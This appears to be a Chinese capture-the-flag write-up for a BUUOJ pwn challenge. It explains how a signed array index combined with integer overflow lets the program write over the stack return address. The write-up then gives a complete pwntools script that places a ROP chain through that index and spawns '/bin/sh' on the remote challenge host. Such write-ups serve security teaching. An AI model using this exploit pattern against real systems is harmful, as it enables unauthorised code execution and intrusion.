首先,检查一下程序的保护机制
然后,我们用IDA分析一下,v2为有符号数,因此,这里存在下标越界的漏洞,但是是向上越界。
看似只能向上越界,实际,我们可以利用整数溢出,来达到劫持栈里的返回地址处。
列出等式
int(ebp+eax*4-0x30) = int(ebp + 0x4)
求解得到int(4*eax) = 0x34
满足条件的eax有多个,我们取eax=0x8000000D
这样,就可以劫持到返回地址处,做rop了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
sh = remote('node3.buuoj.cn',28197) scanf = 0x08048460 format_str = 0x0804882F bss = 0x08049B30 backdoor = 0x0804857B pop_2 = 0x080487ba sh.sendlineafter('What should I call you?','haivk') def getIndex(offset): return str(0x8000000d-0x100000000 + offset)
def writeROP(rop): i = 0 for item in rop: sh.sendlineafter('enter index',getIndex(i)) sh.sendlineafter('enter value',str(item)) i = i + 1
rop = [scanf,pop_2,format_str,bss,backdoor,0,bss,0,0,0] writeROP(rop)
sh.sendline('/bin/sh\x00')
sh.interactive()
|